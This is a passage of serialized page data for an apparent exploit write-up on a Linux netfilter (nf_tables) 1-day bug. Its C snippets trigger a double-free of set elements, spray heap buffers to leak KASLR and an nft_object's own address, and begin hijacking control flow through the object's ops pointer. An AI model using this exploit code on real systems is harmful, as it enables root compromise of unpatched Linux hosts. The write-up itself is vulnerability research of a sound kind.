nftnl_set_elem_set",{"type":24,"tag":271,"props":4553,"children":4554},{"style":288},[4555],{"type":29,"value":606},{"type":24,"tag":271,"props":4557,"children":4558},{"style":630},[4559],{"type":29,"value":1646},{"type":24,"tag":271,"props":4561,"children":4562},{"style":288},[4563],{"type":29,"value":4520},{"type":24,"tag":271,"props":4565,"children":4566},{"style":477},[4567],{"type":29,"value":4525},{"type":24,"tag":271,"props":4569,"children":4570},{"style":288},[4571],{"type":29,"value":4572},"], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":271,"props":4574,"children":4575},{"style":378},[4576],{"type":29,"value":4284},{"type":24,"tag":271,"props":4578,"children":4579},{"style":288},[4580],{"type":29,"value":158},{"type":24,"tag":271,"props":4582,"children":4583},{"style":477},[4584],{"type":29,"value":4293},{"type":24,"tag":271,"props":4586,"children":4587},{"style":288},[4588],{"type":29,"value":1155},{"type":24,"tag":271,"props":4590,"children":4592},{"class":273,"line":4591},37,[4593,4597,4601,4605,4609,4613,4618,4622],{"type":24,"tag":271,"props":4594,"children":4595},{"style":598},[4596],{"type":29,"value":4551},{"type":24,"tag":271,"props":4598,"children":4599},{"style":288},[4600],{"type":29,"value":606},{"type":24,"tag":271,"props":4602,"children":4603},{"style":630},[4604],{"type":29,"value":1646},{"type":24,"tag":271,"props":4606,"children":4607},{"style":288},[4608],{"type":29,"value":4520},{"type":24,"tag":271,"props":4610,"children":4611},{"style":477},[4612],{"type":29,"value":4525},{"type":24,"tag":271,"props":4614,"children":4615},{"style":288},[4616],{"type":29,"value":4617},"], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":271,"props":4619,"children":4620},{"style":624},[4621],{"type":29,"value":1137},{"type":24,"tag":271,"props":4623,"children":4624},{"style":288},[4625],{"type":29,"value":4326},{"type":24,"tag":271,"props":4627,"children":4629},{"class":273,"line":4628},38,[4630,4635,4639,4643,4647,4651],{"type":24,"tag":271,"props":4631,"children":4632},{"style":598},[4633],{"type":29,"value":4634}," nftnl_set_elem_add",{"type":24,"tag":271,"props":4636,"children":4637},{"style":288},[4638],{"type":29,"value":4368},{"type":24,"tag":271,"props":4640,"children":4641},{"style":630},[4642],{"type":29,"value":1646},{"type":24,"tag":271,"props":4644,"children":4645},{"style":288},[4646],{"type":29,"value":4520},{"type":24,"tag":271,"props":4648,"children":4649},{"style":477},[4650],{"type":29,"value":4525},{"type":24,"tag":271,"props":4652,"children":4653},{"style":288},[4654],{"type":29,"value":4655},"]);\n",{"type":24,"tag":271,"props":4657,"children":4659},{"class":273,"line":4658},39,[4660],{"type":24,"tag":271,"props":4661,"children":4662},{"style":288},[4663],{"type":29,"value":1690},{"type":24,"tag":271,"props":4665,"children":4667},{"class":273,"line":4666},40,[4668],{"type":24,"tag":271,"props":4669,"children":4670},{"emptyLinePlaceholder":16},[4671],{"type":29,"value":327},{"type":24,"tag":271,"props":4673,"children":4675},{"class":273,"line":4674},41,[4676],{"type":24,"tag":271,"props":4677,"children":4678},{"style":288},[4679],{"type":29,"value":4680}," // double-free commited elems\n",{"type":24,"tag":271,"props":4682,"children":4684},{"class":273,"line":4683},42,[4685],{"type":24,"tag":271,"props":4686,"children":4687},{"style":288},[4688],{"type":29,"value":1690},{"type":24,"tag":271,"props":4690,"children":4692},{"class":273,"line":4691},43,[4693,4698,4702],{"type":24,"tag":271,"props":4694,"children":4695},{"style":288},[4696],{"type":29,"value":4697}," nftnl_set_free(",{"type":24,"tag":271,"props":4699,"children":4700},{"style":3887},[4701],{"type":29,"value":563},{"type":24,"tag":271,"props":4703,"children":4704},{"style":288},[4705],{"type":29,"value":1155},{"type":24,"tag":271,"props":4707,"children":4709},{"class":273,"line":4708},44,[4710],{"type":24,"tag":271,"props":4711,"children":4712},{"style":288},[4713],{"type":29,"value":1171},{"type":24,"tag":271,"props":4715,"children":4717},{"class":273,"line":4716},45,[4718],{"type":24,"tag":271,"props":4719,"children":4720},{"style":288},[4721],{"type":29,"value":1690},{"type":24,"tag":85,"props":4723,"children":4725},{"id":4724},"leaking-kaslr",[4726],{"type":29,"value":4727},"Leaking KASLR",{"type":24,"tag":25,"props":4729,"children":4730},{},[4731,4733,4739,4741,4746,4748,4754,4756,4762,4764],{"type":29,"value":4732},"Tables contain an outline user data buffer ",{"type":24,"tag":135,"props":4734,"children":4736},{"className":4735},[],[4737],{"type":29,"value":4738},"udata",{"type":29,"value":4740}," that we can both read and write. By allocating a ",{"type":24,"tag":135,"props":4742,"children":4744},{"className":4743},[],[4745],{"type":29,"value":4738},{"type":29,"value":4747}," buffer on the double-free slot and then overlapping it with an ",{"type":24,"tag":135,"props":4749,"children":4751},{"className":4750},[],[4752],{"type":29,"value":4753},"nft_object",{"type":29,"value":4755}," we can leak the ",{"type":24,"tag":135,"props":4757,"children":4759},{"className":4758},[],[4760],{"type":29,"value":4761},"->ops",{"type":29,"value":4763}," pointer, and use it to calculate the KASLR slide.\n",{"type":24,"tag":74,"props":4765,"children":4767},{"alt":76,"src":4766},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":24,"tag":261,"props":4769,"children":4771},{"className":3859,"code":4770,"language":3861,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[4772],{"type":24,"tag":135,"props":4773,"children":4774},{"__ignoreMap":7},[4775,4782,4790,4825,4832,4840,4866,4893,4945,4952,4985,5011,5018,5086,5093,5114,5121,5128,5136,5144,5165,5194,5206,5250,5306],{"type":24,"tag":271,"props":4776,"children":4777},{"class":273,"line":274},[4778],{"type":24,"tag":271,"props":4779,"children":4780},{"style":288},[4781],{"type":29,"value":1690},{"type":24,"tag":271,"props":4783,"children":4784},{"class":273,"line":284},[4785],{"type":24,"tag":271,"props":4786,"children":4787},{"style":288},[4788],{"type":29,"value":4789}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":24,"tag":271,"props":4791,"children":4792},{"class":273,"line":294},[4793,4798,4802,4807,4812,4817,4821],{"type":24,"tag":271,"props":4794,"children":4795},{"style":288},[4796],{"type":29,"value":4797}," udata_spray(",{"type":24,"tag":271,"props":4799,"children":4800},{"style":3887},[4801],{"type":29,"value":3900},{"type":24,"tag":271,"props":4803,"children":4804},{"style":288},[4805],{"type":29,"value":4806},", 0",{"type":24,"tag":271,"props":4808,"children":4809},{"style":3887},[4810],{"type":29,"value":4811},"xe8",{"type":24,"tag":271,"props":4813,"children":4814},{"style":288},[4815],{"type":29,"value":4816},", 0, 3, ",{"type":24,"tag":271,"props":4818,"children":4819},{"style":3887},[4820],{"type":29,"value":4112},{"type":24,"tag":271,"props":4822,"children":4823},{"style":288},[4824],{"type":29,"value":1155},{"type":24,"tag":271,"props":4826,"children":4827},{"class":273,"line":303},[4828],{"type":24,"tag":271,"props":4829,"children":4830},{"emptyLinePlaceholder":16},[4831],{"type":29,"value":327},{"type":24,"tag":271,"props":4833,"children":4834},{"class":273,"line":312},[4835],{"type":24,"tag":271,"props":4836,"children":4837},{"style":2058},[4838],{"type":29,"value":4839}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":24,"tag":271,"props":4841,"children":4842},{"class":273,"line":321},[4843,4848,4853,4857,4861],{"type":24,"tag":271,"props":4844,"children":4845},{"style":278},[4846],{"type":29,"value":4847}," char",{"type":24,"tag":271,"props":4849,"children":4850},{"style":630},[4851],{"type":29,"value":4852}," spray_name",{"type":24,"tag":271,"props":4854,"children":4855},{"style":288},[4856],{"type":29,"value":4520},{"type":24,"tag":271,"props":4858,"children":4859},{"style":477},[4860],{"type":29,"value":3993},{"type":24,"tag":271,"props":4862,"children":4863},{"style":288},[4864],{"type":29,"value":4865},"];\n",{"type":24,"tag":271,"props":4867,"children":4868},{"class":273,"line":330},[4869,4873,4877,4881,4885,4889],{"type":24,"tag":271,"props":4870,"children":4871},{"style":278},[4872],{"type":29,"value":4847},{"type":24,"tag":271,"props":4874,"children":4875},{"style":624},[4876],{"type":29,"value":3895},{"type":24,"tag":271,"props":4878,"children":4879},{"style":630},[4880],{"type":29,"value":4738},{"type":24,"tag":271,"props":4882,"children":4883},{"style":288},[4884],{"type":29,"value":4520},{"type":24,"tag":271,"props":4886,"children":4887},{"style":477},[4888],{"type":29,"value":4525},{"type":24,"tag":271,"props":4890,"children":4891},{"style":288},[4892],{"type":29,"value":4865},{"type":24,"tag":271,"props":4894,"children":4895},{"class":273,"line":339},[4896,4900,4904,4908,4912,4916,4920,4924,4928,4933,4937,4941],{"type":24,"tag":271,"props":4897,"children":4898},{"style":749},[4899],{"type":29,"value":4149},{"type":24,"tag":271,"props":4901,"children":4902},{"style":288},[4903],{"type":29,"value":1357},{"type":24,"tag":271,"props":4905,"children":4906},{"style":278},[4907],{"type":29,"value":3923},{"type":24,"tag":271,"props":4909,"children":4910},{"style":288},[4911],{"type":29,"value":4162},{"type":24,"tag":271,"props":4913,"children":4914},{"style":624},[4915],{"type":29,"value":762},{"type":24,"tag":271,"props":4917,"children":4918},{"style":477},[4919],{"type":29,"value":767},{"type":24,"tag":271,"props":4921,"children":4922},{"style":288},[4923],{"type":29,"value":796},{"type":24,"tag":271,"props":4925,"children":4926},{"style":624},[4927],{"type":29,"value":801},{"type":24,"tag":271,"props":4929,"children":4930},{"style":477},[4931],{"type":29,"value":4932}," 3",{"type":24,"tag":271,"props":4934,"children":4935},{"style":288},[4936],{"type":29,"value":829},{"type":24,"tag":271,"props":4938,"children":4939},{"style":624},[4940],{"type":29,"value":834},{"type":24,"tag":271,"props":4942,"children":4943},{"style":288},[4944],{"type":29,"value":694},{"type":24,"tag":271,"props":4946,"children":4947},{"class":273,"line":347},[4948],{"type":24,"tag":271,"props":4949,"children":4950},{"style":288},[4951],{"type":29,"value":4203},{"type":24,"tag":271,"props":4953,"children":4954},{"class":273,"line":356},[4955,4960,4965,4970,4975,4980],{"type":24,"tag":271,"props":4956,"children":4957},{"style":598},[4958],{"type":29,"value":4959}," snprintf",{"type":24,"tag":271,"props":4961,"children":4962},{"style":288},[4963],{"type":29,"value":4964},"(spray_name, ",{"type":24,"tag":271,"props":4966,"children":4967},{"style":278},[4968],{"type":29,"value":4969},"sizeof",{"type":24,"tag":271,"props":4971,"children":4972},{"style":288},[4973],{"type":29,"value":4974},"(spray_name), ",{"type":24,"tag":271,"props":4976,"children":4977},{"style":378},[4978],{"type":29,"value":4979},"\"spray-%i\"",{"type":24,"tag":271,"props":4981,"children":4982},{"style":288},[4983],{"type":29,"value":4984},", i);\n",{"type":24,"tag":271,"props":4986,"children":4987},{"class":273,"line":365},[4988,4993,4997,5001,5006],{"type":24,"tag":271,"props":4989,"children":4990},{"style":630},[4991],{"type":29,"value":4992}," udata",{"type":24,"tag":271,"props":4994,"children":4995},{"style":288},[4996],{"type":29,"value":4216},{"type":24,"tag":271,"props":4998,"children":4999},{"style":624},[5000],{"type":29,"value":762},{"type":24,"tag":271,"props":5002,"children":5003},{"style":598},[5004],{"type":29,"value":5005}," getudata",{"type":24,"tag":271,"props":5007,"children":5008},{"style":288},[5009],{"type":29,"value":5010},"(nl, spray_name);\n",{"type":24,"tag":271,"props":5012,"children":5013},{"class":273,"line":374},[5014],{"type":24,"tag":271,"props":5015,"children":5016},{"style":288},[5017],{"type":29,"value":4385},{"type":24,"tag":271,"props":5019,"children":5020},{"class":273,"line":384},[5021,5026,5030,5034,5038,5042,5047,5051,5055,5060,5065,5069,5073,5077,5081],{"type":24,"tag":271,"props":5022,"children":5023},{"style":749},[5024],{"type":29,"value":5025}," if",{"type":24,"tag":271,"props":5027,"children":5028},{"style":288},[5029],{"type":29,"value":1357},{"type":24,"tag":271,"props":5031,"children":5032},{"style":630},[5033],{"type":29,"value":4738},{"type":24,"tag":271,"props":5035,"children":5036},{"style":288},[5037],{"type":29,"value":4520},{"type":24,"tag":271,"props":5039,"children":5040},{"style":477},[5041],{"type":29,"value":4121},{"type":24,"tag":271,"props":5043,"children":5044},{"style":288},[5045],{"type":29,"value":5046},"][",{"type":24,"tag":271,"props":5048,"children":5049},{"style":477},[5050],{"type":29,"value":4121},{"type":24,"tag":271,"props":5052,"children":5053},{"style":288},[5054],{"type":29,"value":4530},{"type":24,"tag":271,"props":5056,"children":5057},{"style":624},[5058],{"type":29,"value":5059},"==",{"type":24,"tag":271,"props":5061,"children":5062},{"style":630},[5063],{"type":29,"value":5064}," udata",{"type":24,"tag":271,"props":5066,"children":5067},{"style":288},[5068],{"type":29,"value":4520},{"type":24,"tag":271,"props":5070,"children":5071},{"style":477},[5072],{"type":29,"value":165},{"type":24,"tag":271,"props":5074,"children":5075},{"style":288},[5076],{"type":29,"value":5046},{"type":24,"tag":271,"props":5078,"children":5079},{"style":477},[5080],{"type":29,"value":4121},{"type":24,"tag":271,"props":5082,"children":5083},{"style":288},[5084],{"type":29,"value":5085},"])\n",{"type":24,"tag":271,"props":5087,"children":5088},{"class":273,"line":393},[5089],{"type":24,"tag":271,"props":5090,"children":5091},{"style":288},[5092],{"type":29,"value":4203},{"type":24,"tag":271,"props":5094,"children":5095},{"class":273,"line":402},[5096,5101,5105,5110],{"type":24,"tag":271,"props":5097,"children":5098},{"style":598},[5099],{"type":29,"value":5100}," puts",{"type":24,"tag":271,"props":5102,"children":5103},{"style":288},[5104],{"type":29,"value":606},{"type":24,"tag":271,"props":5106,"children":5107},{"style":378},[5108],{"type":29,"value":5109},"\"[+] got duplicated table\"",{"type":24,"tag":271,"props":5111,"children":5112},{"style":288},[5113],{"type":29,"value":1155},{"type":24,"tag":271,"props":5115,"children":5116},{"class":273,"line":411},[5117],{"type":24,"tag":271,"props":5118,"children":5119},{"style":288},[5120],{"type":29,"value":4385},{"type":24,"tag":271,"props":5122,"children":5123},{"class":273,"line":420},[5124],{"type":24,"tag":271,"props":5125,"children":5126},{"emptyLinePlaceholder":16},[5127],{"type":29,"value":327},{"type":24,"tag":271,"props":5129,"children":5130},{"class":273,"line":429},[5131],{"type":24,"tag":271,"props":5132,"children":5133},{"style":2058},[5134],{"type":29,"value":5135}," // Replace one of the udata buffers with nft_object\n",{"type":24,"tag":271,"props":5137,"children":5138},{"class":273,"line":438},[5139],{"type":24,"tag":271,"props":5140,"children":5141},{"style":2058},[5142],{"type":29,"value":5143}," // and read it's counterpart to leak the nft_object struct\n",{"type":24,"tag":271,"props":5145,"children":5146},{"class":273,"line":447},[5147,5152,5156,5161],{"type":24,"tag":271,"props":5148,"children":5149},{"style":598},[5150],{"type":29,"value":5151}," puts",{"type":24,"tag":271,"props":5153,"children":5154},{"style":288},[5155],{"type":29,"value":606},{"type":24,"tag":271,"props":5157,"children":5158},{"style":378},[5159],{"type":29,"value":5160},"\"[*] Info leak\"",{"type":24,"tag":271,"props":5162,"children":5163},{"style":288},[5164],{"type":29,"value":1155},{"type":24,"tag":271,"props":5166,"children":5167},{"class":273,"line":455},[5168,5173,5178,5182,5186,5190],{"type":24,"tag":271,"props":5169,"children":5170},{"style":598},[5171],{"type":29,"value":5172}," deludata_spray",{"type":24,"tag":271,"props":5174,"children":5175},{"style":288},[5176],{"type":29,"value":5177},"(nl, ",{"type":24,"tag":271,"props":5179,"children":5180},{"style":477},[5181],{"type":29,"value":4121},{"type":24,"tag":271,"props":5183,"children":5184},{"style":288},[5185],{"type":29,"value":158},{"type":24,"tag":271,"props":5187,"children":5188},{"style":477},[5189],{"type":29,"value":156},{"type":24,"tag":271,"props":5191,"children":5192},{"style":288},[5193],{"type":29,"value":1155},{"type":24,"tag":271,"props":5195,"children":5196},{"class":273,"line":464},[5197,5202],{"type":24,"tag":271,"props":5198,"children":5199},{"style":598},[5200],{"type":29,"value":5201}," wait_destroyer",{"type":24,"tag":271,"props":5203,"children":5204},{"style":288},[5205],{"type":29,"value":4230},{"type":24,"tag":271,"props":5207,"children":5208},{"class":273,"line":473},[5209,5214,5218,5222,5226,5230,5234,5238,5242,5246],{"type":24,"tag":271,"props":5210,"children":5211},{"style":598},[5212],{"type":29,"value":5213}," obj_spray",{"type":24,"tag":271,"props":5215,"children":5216},{"style":288},[5217],{"type":29,"value":5177},{"type":24,"tag":271,"props":5219,"children":5220},{"style":477},[5221],{"type":29,"value":4121},{"type":24,"tag":271,"props":5223,"children":5224},{"style":288},[5225],{"type":29,"value":158},{"type":24,"tag":271,"props":5227,"children":5228},{"style":477},[5229],{"type":29,"value":156},{"type":24,"tag":271,"props":5231,"children":5232},{"style":288},[5233],{"type":29,"value":158},{"type":24,"tag":271,"props":5235,"children":5236},{"style":278},[5237],{"type":29,"value":4112},{"type":24,"tag":271,"props":5239,"children":5240},{"style":288},[5241],{"type":29,"value":158},{"type":24,"tag":271,"props":5243,"children":5244},{"style":477},[5245],{"type":29,"value":4121},{"type":24,"tag":271,"props":5247,"children":5248},{"style":288},[5249],{"type":29,"value":1155},{"type":24,"tag":271,"props":5251,"children":5252},{"class":273,"line":483},[5253,5258,5262,5267,5271,5275,5280,5284,5288,5293,5297,5302],{"type":24,"tag":271,"props":5254,"children":5255},{"style":278},[5256],{"type":29,"value":5257}," uint64_t",{"type":24,"tag":271,"props":5259,"children":5260},{"style":624},[5261],{"type":29,"value":3895},{"type":24,"tag":271,"props":5263,"children":5264},{"style":288},[5265],{"type":29,"value":5266},"fake_obj ",{"type":24,"tag":271,"props":5268,"children":5269},{"style":624},[5270],{"type":29,"value":762},{"type":24,"tag":271,"props":5272,"children":5273},{"style":288},[5274],{"type":29,"value":1357},{"type":24,"tag":271,"props":5276,"children":5277},{"style":278},[5278],{"type":29,"value":5279},"uint64_t",{"type":24,"tag":271,"props":5281,"children":5282},{"style":624},[5283],{"type":29,"value":3895},{"type":24,"tag":271,"props":5285,"children":5286},{"style":288},[5287],{"type":29,"value":2693},{"type":24,"tag":271,"props":5289,"children":5290},{"style":598},[5291],{"type":29,"value":5292},"getudata",{"type":24,"tag":271,"props":5294,"children":5295},{"style":288},[5296],{"type":29,"value":5177},{"type":24,"tag":271,"props":5298,"children":5299},{"style":378},[5300],{"type":29,"value":5301},"\"spray-2\"",{"type":24,"tag":271,"props":5303,"children":5304},{"style":288},[5305],{"type":29,"value":1155},{"type":24,"tag":271,"props":5307,"children":5308},{"class":273,"line":491},[5309],{"type":24,"tag":271,"props":5310,"children":5311},{"style":288},[5312],{"type":29,"value":1690},{"type":24,"tag":85,"props":5314,"children":5316},{"id":5315},"leaking-self-pointer-of-nft_object",[5317,5319],{"type":29,"value":5318},"Leaking self pointer of ",{"type":24,"tag":135,"props":5320,"children":5322},{"className":5321},[],[5323],{"type":29,"value":4753},{"type":24,"tag":25,"props":5325,"children":5326},{},[5327,5329,5334,5336,5341,5343,5348,5350,5356],{"type":29,"value":5328},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":24,"tag":135,"props":5330,"children":5332},{"className":5331},[],[5333],{"type":29,"value":4753},{"type":29,"value":5335}," to get its own address. This is possible because the ",{"type":24,"tag":135,"props":5337,"children":5339},{"className":5338},[],[5340],{"type":29,"value":4753},{"type":29,"value":5342}," has a ",{"type":24,"tag":135,"props":5344,"children":5346},{"className":5345},[],[5347],{"type":29,"value":4738},{"type":29,"value":5349}," pointer (similar to ",{"type":24,"tag":135,"props":5351,"children":5353},{"className":5352},[],[5354],{"type":29,"value":5355},"table->udata",{"type":29,"value":5357}," that I used for leaking KASLR), that I can use to read/write data.",{"type":24,"tag":25,"props":5359,"children":5360},{},[5361,5362,5367,5369,5375,5377,5382,5384,5390,5392,5398,5400,5405,5407,5412,5414,5419,5421],{"type":29,"value":1422},{"type":24,"tag":135,"props":5363,"children":5365},{"className":5364},[],[5366],{"type":29,"value":4753},{"type":29,"value":5368}," struct also contains a ",{"type":24,"tag":135,"props":5370,"children":5372},{"className":5371},[],[5373],{"type":29,"value":5374},"list_head",{"type":29,"value":5376}," inserted in a circular list containing all ",{"type":24,"tag":135,"props":5378,"children":5380},{"className":5379},[],[5381],{"type":29,"value":4753},{"type":29,"value":5383},"'s that belong to a given ",{"type":24,"tag":135,"props":5385,"children":5387},{"className":5386},[],[5388],{"type":29,"value":5389},"table",{"type":29,"value":5391},". Considering that our object is currently alone in its table, the ",{"type":24,"tag":135,"props":5393,"children":5395},{"className":5394},[],[5396],{"type":29,"value":5397},"table->list.next",{"type":29,"value":5399}," pointer in the ",{"type":24,"tag":135,"props":5401,"children":5403},{"className":5402},[],[5404],{"type":29,"value":4753},{"type":29,"value":5406}," will point back to the ",{"type":24,"tag":135,"props":5408,"children":5410},{"className":5409},[],[5411],{"type":29,"value":5374},{"type":29,"value":5413}," contained in the ",{"type":24,"tag":135,"props":5415,"children":5417},{"className":5416},[],[5418],{"type":29,"value":5389},{"type":29,"value":5420}," and vice-versa.\n",{"type":24,"tag":74,"props":5422,"children":5424},{"alt":76,"src":5423},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":24,"tag":25,"props":5426,"children":5427},{},[5428,5430,5435,5437,5442,5444,5450,5452,5457,5458,5463,5465,5470,5472,5477],{"type":29,"value":5429},"In short, that means that if we swap the ",{"type":24,"tag":135,"props":5431,"children":5433},{"className":5432},[],[5434],{"type":29,"value":4738},{"type":29,"value":5436}," pointer of the ",{"type":24,"tag":135,"props":5438,"children":5440},{"className":5439},[],[5441],{"type":29,"value":4753},{"type":29,"value":5443}," with its own ",{"type":24,"tag":135,"props":5445,"children":5447},{"className":5446},[],[5448],{"type":29,"value":5449},"list.next",{"type":29,"value":5451}," pointer we should be able to read a pointer back to the ",{"type":24,"tag":135,"props":5453,"children":5455},{"className":5454},[],[5456],{"type":29,"value":4753},{"type":29,"value":1928},{"type":24,"tag":135,"props":5459,"children":5461},{"className":5460},[],[5462],{"type":29,"value":5374},{"type":29,"value":5464}," which is also the start of the ",{"type":24,"tag":135,"props":5466,"children":5468},{"className":5467},[],[5469],{"type":29,"value":4753},{"type":29,"value":5471}," itself.\n",{"type":24,"tag":213,"props":5473,"children":5474},{},[5475],{"type":29,"value":5476},"NOTE:",{"type":29,"value":5478}," This is a novel small trick.",{"type":24,"tag":261,"props":5480,"children":5482},{"className":3859,"code":5481,"language":3861,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[5483],{"type":24,"tag":135,"props":5484,"children":5485},{"__ignoreMap":7},[5486,5493,5501,5514,5562,5589,5600,5638,5645,5675,5708],{"type":24,"tag":271,"props":5487,"children":5488},{"class":273,"line":274},[5489],{"type":24,"tag":271,"props":5490,"children":5491},{"style":288},[5492],{"type":29,"value":1690},{"type":24,"tag":271,"props":5494,"children":5495},{"class":273,"line":284},[5496],{"type":24,"tag":271,"props":5497,"children":5498},{"style":288},[5499],{"type":29,"value":5500}," // Leak nft_object ptr using table linked list\n",{"type":24,"tag":271,"props":5502,"children":5503},{"class":273,"line":294},[5504,5509],{"type":24,"tag":271,"props":5505,"children":5506},{"style":288},[5507],{"type":29,"value":5508}," fake_obj[8] = 8;",{"type":24,"tag":271,"props":5510,"children":5511},{"style":2058},[5512],{"type":29,"value":5513}," // ulen = 8\n",{"type":24,"tag":271,"props":5515,"children":5516},{"class":273,"line":303},[5517,5522,5526,5531,5535,5539,5544,5548,5552,5557],{"type":24,"tag":271,"props":5518,"children":5519},{"style":630},[5520],{"type":29,"value":5521}," fake_obj",{"type":24,"tag":271,"props":5523,"children":5524},{"style":288},[5525],{"type":29,"value":4520},{"type":24,"tag":271,"props":5527,"children":5528},{"style":477},[5529],{"type":29,"value":5530},"9",{"type":24,"tag":271,"props":5532,"children":5533},{"style":288},[5534],{"type":29,"value":4530},{"type":24,"tag":271,"props":5536,"children":5537},{"style":624},[5538],{"type":29,"value":762},{"type":24,"tag":271,"props":5540,"children":5541},{"style":630},[5542],{"type":29,"value":5543}," fake_obj",{"type":24,"tag":271,"props":5545,"children":5546},{"style":288},[5547],{"type":29,"value":4520},{"type":24,"tag":271,"props":5549,"children":5550},{"style":477},[5551],{"type":29,"value":4121},{"type":24,"tag":271,"props":5553,"children":5554},{"style":288},[5555],{"type":29,"value":5556},"];",{"type":24,"tag":271,"props":5558,"children":5559},{"style":2058},[5560],{"type":29,"value":5561}," // udata = list->next\n",{"type":24,"tag":271,"props":5563,"children":5564},{"class":273,"line":312},[5565,5569,5573,5577,5581,5585],{"type":24,"tag":271,"props":5566,"children":5567},{"style":598},[5568],{"type":29,"value":5172},{"type":24,"tag":271,"props":5570,"children":5571},{"style":288},[5572],{"type":29,"value":5177},{"type":24,"tag":271,"props":5574,"children":5575},{"style":477},[5576],{"type":29,"value":165},{"type":24,"tag":271,"props":5578,"children":5579},{"style":288},[5580],{"type":29,"value":158},{"type":24,"tag":271,"props":5582,"children":5583},{"style":477},[5584],{"type":29,"value":156},{"type":24,"tag":271,"props":5586,"children":5587},{"style":288},[5588],{"type":29,"value":1155},{"type":24,"tag":271,"props":5590,"children":5591},{"class":273,"line":321},[5592,5596],{"type":24,"tag":271,"props":5593,"children":5594},{"style":598},[5595],{"type":29,"value":5201},{"type":24,"tag":271,"props":5597,"children":5598},{"style":288},[5599],{"type":29,"value":4230},{"type":24,"tag":271,"props":5601,"children":5602},{"class":273,"line":330},[5603,5608,5612,5617,5621,5625,5629,5633],{"type":24,"tag":271,"props":5604,"children":5605},{"style":598},[5606],{"type":29,"value":5607}," udata_spray",{"type":24,"tag":271,"props":5609,"children":5610},{"style":288},[5611],{"type":29,"value":5177},{"type":24,"tag":271,"props":5613,"children":5614},{"style":477},[5615],{"type":29,"value":5616},"0xe8",{"type":24,"tag":271,"props":5618,"children":5619},{"style":288},[5620],{"type":29,"value":158},{"type":24,"tag":271,"props":5622,"children":5623},{"style":477},[5624],{"type":29,"value":4525},{"type":24,"tag":271,"props":5626,"children":5627},{"style":288},[5628],{"type":29,"value":158},{"type":24,"tag":271,"props":5630,"children":5631},{"style":477},[5632],{"type":29,"value":156},{"type":24,"tag":271,"props":5634,"children":5635},{"style":288},[5636],{"type":29,"value":5637},", fake_obj);\n",{"type":24,"tag":271,"props":5639,"children":5640},{"class":273,"line":339},[5641],{"type":24,"tag":271,"props":5642,"children":5643},{"emptyLinePlaceholder":16},[5644],{"type":29,"value":327},{"type":24,"tag":271,"props":5646,"children":5647},{"class":273,"line":347},[5648,5653,5657,5662,5666,5671],{"type":24,"tag":271,"props":5649,"children":5650},{"style":598},[5651],{"type":29,"value":5652}," get_obj",{"type":24,"tag":271,"props":5654,"children":5655},{"style":288},[5656],{"type":29,"value":5177},{"type":24,"tag":271,"props":5658,"children":5659},{"style":378},[5660],{"type":29,"value":5661},"\"spray-0\"",{"type":24,"tag":271,"props":5663,"children":5664},{"style":288},[5665],{"type":29,"value":158},{"type":24,"tag":271,"props":5667,"children":5668},{"style":278},[5669],{"type":29,"value":5670},"true",{"type":24,"tag":271,"props":5672,"children":5673},{"style":288},[5674],{"type":29,"value":1155},{"type":24,"tag":271,"props":5676,"children":5677},{"class":273,"line":356},[5678,5683,5687,5692,5698,5703],{"type":24,"tag":271,"props":5679,"children":5680},{"style":598},[5681],{"type":29,"value":5682}," printf",{"type":24,"tag":271,"props":5684,"children":5685},{"style":288},[5686],{"type":29,"value":606},{"type":24,"tag":271,"props":5688,"children":5689},{"style":378},[5690],{"type":29,"value":5691},"\"[*] nft_object ptr: 0x%lx",{"type":24,"tag":271,"props":5693,"children":5695},{"style":5694},"--shiki-default:#D7BA7D",[5696],{"type":29,"value":5697},"\\n",{"type":24,"tag":271,"props":5699,"children":5700},{"style":378},[5701],{"type":29,"value":5702},"\"",{"type":24,"tag":271,"props":5704,"children":5705},{"style":288},[5706],{"type":29,"value":5707},", obj_ptr);\n",{"type":24,"tag":271,"props":5709,"children":5710},{"class":273,"line":365},[5711],{"type":24,"tag":271,"props":5712,"children":5713},{"style":288},[5714],{"type":29,"value":1690},{"type":24,"tag":85,"props":5716,"children":5718},{"id":5717},"hijacking-control-flow",[5719],{"type":29,"value":5720},"Hijacking control-flow",{"type":24,"tag":25,"props":5722,"children":5723},{},[5724,5726,5731,5733,5738,5740,5745,5747,5752,5754,5759,5761],{"type":29,"value":5725},"To hijack control-flow, we can use ",{"type":24,"tag":135,"props":5727,"children":5729},{"className":5728},[],[5730],{"type":29,"value":4753},{"type":29,"value":5732}," once again. The ",{"type":24,"tag":135,"props":5734,"children":5736},{"className":5735},[],[5737],{"type":29,"value":4753},{"type":29,"value":5739}," struct has an ",{"type":24,"tag":135,"props":5741,"children":5743},{"className":5742},[],[5744],{"type":29,"value":2261},{"type":29,"value":5746}," pointer to a function pointer table. We can swap the ",{"type":24,"tag":135,"props":5748,"children":5750},{"className":5749},[],[5751],{"type":29,"value":2261},{"type":29,"value":5753}," pointer with the ",{"type":24,"tag":135,"props":5755,"children":5757},{"className":5756},[],[5758],{"type":29,"value":4738},{"type":29,"value":5760}," pointer, taking control of the pointer 